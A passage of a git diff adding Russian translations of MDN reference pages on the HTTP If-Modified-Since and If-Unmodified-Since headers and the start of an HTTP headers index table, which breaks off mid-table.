+ <dt>&lt;day&gt;</dt>
+ <dd>День (2 цифры), например, "04" или "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>Название месяца ("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec") с учётом регистра.</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>Год (4 цифры), например, "1990" или "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>Час (2 цифры), например, "09" или "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>Минута (2 цифры), например, "04" или "59".</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>Секунда (2 цифры), например, "04" or "59".</dd>
+ <dt><code>GMT</code></dt>
+ <dd>
+ <p>Среднее время по Гринвичу (Greenwich Mean Time). HTTP даты всегда представлены как GMT время и никогда как локальное.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7232", "If-Modified-Since", "3.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">Таблица совместимости на этой страницы была сгенерирована из структурированных данных. Если вы хотите внести свой вклад в эти данные, то можете склонировать соответствующий репозиторий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и прислать нам пулл-реквест.</p>
+
+<p>{{Compat("http/headers/if-modified-since")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("ETag")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-since")}}</li>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("304")}}<code> Not Modified</code></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/if-unmodified-since/index.html b/files/ru/web/http/заголовки/if-unmodified-since/index.html
new file mode 100644
index 0000000000..c451f97a4d
--- /dev/null
+++ b/files/ru/web/http/заголовки/if-unmodified-since/index.html
@@ -0,0 +1,103 @@
+---
+title: If-Unmodified-Since
+slug: Web/HTTP/Заголовки/If-Unmodified-Since
+tags:
+ - HTTP
+ - Заголовок HTTP
+ - Справка
+ - заголовок запроса
+translation_of: Web/HTTP/Headers/If-Unmodified-Since
+---
+<div>
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP-заголовок запроса <code><strong>If-Unmodified-Since</strong></code> делает запрос условным: сервер отправит обратно запрошенный ресурс или примет его в случае {{HTTPMethod("POST")}} или другого {{Glossary("safe", "небезопасного")}} метода, только если он не был последним изменен после указанной даты. Если запрос был изменен после указанной даты, то ответ будет {{HTTPStatus("412")}} (Precondition Failed) ошибка.</p>
+
+<p>Существует два распространенных варианта использования:</p>
+
+<ul>
+ <li>В сочетании с другими {{Glossary("safe", "небезопасными")}} методами, такими как {{HTTPMethod("POST")}}, он может использоваться для реализации <a href="https://en.wikipedia.org/wiki/Optimistic_concurrency_control">optimistic concurrency control</a>, например, сделанного некоторыми вики-версиями: выпуски отклоняются, если сохраненный документ был изменен с момента восстановления оригинала.</li>
+</ul>
+</div>
+
+<ul>
+ <li>В сочетании с запросом диапазона с {{HTTPHeader("If-Range")}} его можно использовать для обеспечения того, чтобы новый фрагмент запрашивался из немодифицированного документа.</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Request header", "Заголовок запроса")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}</th>
+ <td>Нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">If-Unmodified-Since: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>One of "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (case-sensitive).</dd>
+ <dt>&lt;day&gt;</dt>
+ <dd>2 digit day number, e.g. "04" or "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>One of "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (case sensitive).</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>4 digit year number, e.g. "1990" or "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>2 digit hour number, e.g. "09" or "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>2 digit minute number, e.g. "04" or "59".</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>2 digit second number, e.g. "04" or "59".</dd>
+ <dt><code>GMT</code></dt>
+ <dd>
+ <p>Greenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>If-Unmodified-Since: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7232", "If-Unmodified-Since", "3.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/if-unmodified-since")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Last-Modified")}}</li>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/index.html b/files/ru/web/http/заголовки/index.html
new file mode 100644
index 0000000000..41c24031f8
--- /dev/null
+++ b/files/ru/web/http/заголовки/index.html
@@ -0,0 +1,573 @@
+---
+title: Заголовки HTTP
+slug: Web/HTTP/Заголовки
+tags:
+ - HTTP
+ - Заголовки
+translation_of: Web/HTTP/Headers
+---
+<p>{{ HTTPSidebar }}</p>
+
+<p><span class="seoSummary"><strong>Заголовки HTTP </strong>позволяют клиенту и серверу отправлять дополнительную информацию с HTTP запросом или ответом. В HTTP-заголовке содержится не чувствительное к регистру название, а затем после (<code>:</code>) непостредственно значение.</span> <a href="https://wiki.developer.mozilla.org/en-US/docs/Glossary/Whitespace">Пробелы</a> перед значением игнорируются.</p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Пользовательские собственные заголовки исторически использовались с префиксом X, но это соглашение было объявлено устаревшим в июне 2012 года из-за неудобств, вызванных тем, что нестандартные поля стали стандартом в </span></span> <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a><span class="tlid-translation translation" lang="ru"><span title="">;</span> <span title="">другие перечислены в реестре <a href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA</a>, исходное содержимое которого было определено в </span></span> <a class="external external-icon" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>.<span class="tlid-translation translation" lang="ru"><span title=""> IANA также поддерживает <a href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">реестр предлагаемых новых заголовков HTTP</a>.</span></span></p>
+
+<p>HTTP-заголовки сопровождают обмен данными по протоколу HTTP. Они могут содержать описание данных и информацию, необходимую для взаимодействия между клиентом и сервером. Заголовки и их статусы перечислены в <a href="http://www.iana.org/assignments/message-headers/perm-headers.html">реестре IANA</a>, который постоянно обновляется.</p>
+
+<p>Заголовки могут быть сгруппированы по следующим контекстам:</p>
+
+<ul>
+ <li>{{Glossary("General header", "Основные заголовки")}} <span class="tlid-translation translation" lang="ru"><span title="">применяется как к запросам, так и к ответам, но не имеет отношения к данным, передаваемым в теле.</span></span></li>
+ <li>{{Glossary("Заголовок запроса", "Заголовки запроса")}} <span class="tlid-translation translation" lang="ru"><span title="">содержит больше информации о ресурсе, который нужно получить, или о клиенте, запрашивающем ресурс</span></span>.</li>
+ <li>{{Glossary("Response header", "Заголовки ответа")}} <span class="tlid-translation translation" lang="ru"><span title="">содержат дополнительную информацию об ответе, например его местонахождение, или о сервере, предоставившем его.</span></span></li>
+ <li>{{Glossary("Entity header", "Заголовки сущности")}} <span class="tlid-translation translation" lang="ru"><span title="">содержат информацию о теле ресурса, например его </span></span><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Length">длину содержимого </a>или тип <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/SVG/Content_type">MIME</a>.</li>
+</ul>
+
+<p>Заголовки также могут быть сгруппированы согласно тому, как <a href="https://wiki.developer.mozilla.org/en-US/docs/Glossary/Proxy_server">прокси (proxies)</a> обрабатывают их:</p>
+
+<ul>
+ <li>{{ httpheader("Connection") }}</li>
+ <li>{{ httpheader("Keep-Alive") }}</li>
+ <li>{{ httpheader("Proxy-Authenticate") }}</li>
+ <li>{{ httpheader("Proxy-Authorization") }}</li>
+ <li>{{ httpheader("TE") }}</li>
+ <li>{{ httpheader("Trailer") }}</li>
+ <li>{{ httpheader("Transfer-Encoding") }}</li>
+ <li>{{ httpheader("Upgrade") }}.</li>
+</ul>
+
+<p><strong>Сквозные заголовки</strong><br>
+      Эти заголовки должны быть переданы конечному получателю сообщения: серверу для запроса или клиенту для ответа. Промежуточные прокси-серверы должны повторно передавать эти заголовки без изменений, а кэши должны их хранить.</p>
+
+<p><strong>Хоп-хоп заголовки (Хоп-хоп заголовки)</strong><br>
+      Эти заголовки имеют смысл только для одного соединения транспортного уровня и не должны повторно передаваться прокси или кэшироваться. Обратите внимание, что с помощью общего заголовка {{httpheader ("Connection")}} могут быть установлены только заголовки переходов.</p>
+
+<h2 id="Аутентификация">Аутентификация</h2>
+
+<dl>
+</dl>
+
+<p><br>
+ <strong>{{HTTPHeader("WWW-Authenticate")}}</strong><br>
+ Определяет метод аутентификации, который должен использоваться для доступа к ресурсу.<br>
+ <strong>{{HTTPHeader ( "Authorization")}}</strong><br>
+ Содержит учетные данные для аутентификации агента пользователя на сервере.<br>
+ <strong>{{HTTPHeader ( "Proxy-Authenticate")}}</strong><br>
+ Определяет метод аутентификации, который должен использоваться для доступа к ресурсам на прокси-сервере.<br>
+ <strong>{{HTTPHeader ( "Proxy-Authorization")}}</strong><br>
+ Содержит учетные данные для аутентификации агента пользователя с прокси-сервером.</p>
+
+<p>Ниже перечислены основные HTTP заголовки с кратким описанием:</p>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+ <tr>
+ <th>Заголовок</th>
+ <th>Описание</th>
+ <th>Подробнее</th>
+ <th>Стандарт</th>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Accept.3a_header">Accept</a></code></td>
+ <td>Список MIME типов, которые ожидает клиент.</td>
+ <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+ <td>HTTP/1.1</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-CH_header">Accept-CH</a></code>
+ <p>{{non-standard_inline}}</p>
+ </td>
+ <td>Список конфигурационных данных, которые могут быть учтены сервером при выборе соответствующего ответа клиенту.</td>
+ <td><a href="http://igrigorik.github.io/http-client-hints">HTTP Client Hints</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Charset.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Accept-Charset.3a_header">Accept-Charset</a></code></td>
+ <td>Список кодировок, которые ожидает клиент.</td>
+ <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+ <td>HTTP/1.1</td>
+ </tr>
+ <tr>
+ <td><code>Accept-Features</code></td>
+ <td></td>
+ <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+ <td>RFC 2295, §8.2</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Encoding.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Accept-Encoding.3a_header">Accept-Encoding</a></code></td>
+ <td>Спиcок форматов сжатия данных, которые поддерживает клиент.</td>
+ <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+ <td>HTTP/1.1</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Language.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Accept-Language.3a_header">Accept-Language</a></code></td>
+ <td>Определяет языковые предпочтения клиента.</td>
+ <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+ <td>HTTP/1.1</td>
+ </tr>
+ <tr>
+ <td><code><a href="/ru/docs/Web/HTTP/Заголовки/Accept-Ranges" title="ru/Accept-Ranges">Accept-Ranges</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Allow-Credentials" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+ <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Allow-Origin" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Allow-Origin">Access-Control-Allow-Origin</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+ <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Allow-Methods" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Allow-Methods">Access-Control-Allow-Methods</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+ <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Allow-Headers" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Allow-Headers">Access-Control-Allow-Headers</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+ <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Max-Age" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Max-Age">Access-Control-Max-Age</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+ <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Expose-Header" title="en/HTTP access control#Access-Control-Expose-Header">Access-Control-Expose-Headers</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("2") }}</td>
+ <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Request-Method" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Request-Method">Access-Control-Request-Method</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+ <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Request-Headers" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Request-Headers">Access-Control-Request-Headers</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+ <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Age" title="en/Age">Age</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Allow" title="en/Allow">Allow</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>Alternates</code></td>
+ <td></td>
+ <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+ <td>RFC 2295, §8.3</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Authorization" title="en/Authorization">Authorization</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Cache-Control" title="en/Cache-Control">Cache-Control</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/ru/docs/Web/HTTP/Заголовки/Connection" title="ru/Connection">Connection</a></code></td>
+ <td>Определяет, остается ли сетевое соединение открытым после завершения текущей транзакции (запроса).</td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding" title="en/Content-Encoding">Content-Encoding</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Language" title="en/Content-Language">Content-Language</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Length" title="en/Content-Length">Content-Length</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Location" title="en/Content-Location">Content-Location</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-MD5" title="en/Content-MD5">Content-MD5</a></code></td>
+ <td></td>
+ <td>{{ unimplemented_inline("232030") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Range" title="en/Content-Range">Content-Range</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy" title="en/Content-Security-Policy">Content-Security-Policy</a></code></td>
+ <td>Реализует механизм защиты от угроз межсайтового выполнения скриптов.</td>
+ <td><a href="/en/Security/CSP">CSP (Content Security Policy)</a></td>
+ <td><a href="http://www.w3.org/TR/CSP2/">W3C Content Security Policy</a></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Type" title="en/Content-Type">Content-Type</a></code></td>
+ <td>Позволяет клиенту определить MIME тип документа.</td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Cookie" title="en/Cookie">Cookie</a></code></td>
+ <td></td>
+ <td></td>
+ <td><a class="external" href="http://www.ietf.org/rfc/rfc2109.txt" title="http://www.ietf.org/rfc/rfc2109.txt">RFC 2109</a></td>
+ </tr>
+ <tr>
+ <td><code>DNT</code></td>
+ <td>With a value of 1, indicates that the user explicitly opts out of any form of online tracking.</td>
+ <td>Supported by Firefox 4, Firefox 5 for mobile, IE9, and a few major companies.</td>
+ <td>{{SpecName("Tracking")}}</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Date" title="en/Date">Date</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/ETag" title="en/ETag">ETag</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Expect" title="en/Expect">Expect</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Expires" title="en/Expires">Expires</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/From" title="en/From">From</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Host" title="en/Host">Host</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-Match" title="en/If-Match">If-Match</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-Modified-Since" title="en/If-Modified-Since">If-Modified-Since</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-None-Match" title="en/If-None-Match">If-None-Match</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-Range" title="en/If-Range">If-Range</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-Unmodified-Since" title="en/If-Unmodified-Since">If-Unmodified-Since</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Last-Event-ID" title="en/Last-Event-ID">Last-Event-ID</a></code></td>
+ <td>Содержит идентификатор последнего события полученного клиентом от сервера в предыдущем HTTP запросе. Используется для восстановления синхронизации потока <code>text/event-stream</code>.</td>
+ <td><a href="/en-US/docs/Server-sent_events" title="en/Server-Sent Events">Server-Sent Events</a></td>
+ <td><a class="external" href="http://dev.w3.org/html5/eventsource/" title="http://dev.w3.org/html5/eventsource/">Server-Sent Events spec</a></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Last-Modified" title="en/Last-Modified">Last-Modified</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Link" title="en/HTTP/Headers/Link">Link</a></code></td>
+ <td>Содержит ссылки на связанные ресурсы и определяет их отношение к отправленному документу.</td>
+ <td>
+ <p>For the <code>rel=prefetch</code> case, see <a href="/en-US/docs/Link_prefetching_FAQ" title="en/Link prefetching FAQ">Link Prefetching FAQ</a></p>
+ </td>
+ <td>
+ <p>Introduced in <a class="external" href="http://tools.ietf.org/html/rfc2068#section-19.6.2.4" title="http://tools.ietf.org/html/rfc2068#section-19.6.2.4">HTTP 1.1's RFC 2068, section 19.6.2.4</a>, it was removed in the final <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616.html" title="http://www.w3.org/Protocols/rfc2616/rfc2616.html">HTTP 1.1 spec</a>, then reintroduced, with some extensions, in <a class="external" href="http://greenbytes.de/tech/webdav/rfc5988.html" title="http://greenbytes.de/tech/webdav/rfc5988.html">RFC 5988</a></p>
+ </td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Location" title="en/Location">Location</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Max-Forwards" title="en/Max-Forwards">Max-Forwards</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>Negotiate</code></td>
+ <td></td>
+ <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+ <td>RFC 2295, §8.4</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/HTTP_access_control#Origin" title="https://developer.mozilla.org/En/HTTP_access_control#Origin">Origin</a></code></td>
+ <td></td>
+ <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+ <td>More recently defined in the <a href="https://fetch.spec.whatwg.org/#http-extensions">Fetch spec</a> (see <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.) Originally defined in <a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Pragma" title="en/Pragma">Pragma</a></code></td>
+ <td></td>
+ <td>for the pragma: nocache value see <a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Proxy-Authenticate" title="en/Proxy-Authenticate">Proxy-Authenticate</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Proxy-Authorization" title="en/Proxy-Authorization">Proxy-Authorization</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Range" title="en/Range">Range</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/ru/docs/Web/HTTP/Заголовки/Referer" title="ru/Referer">Referer</a></code></td>
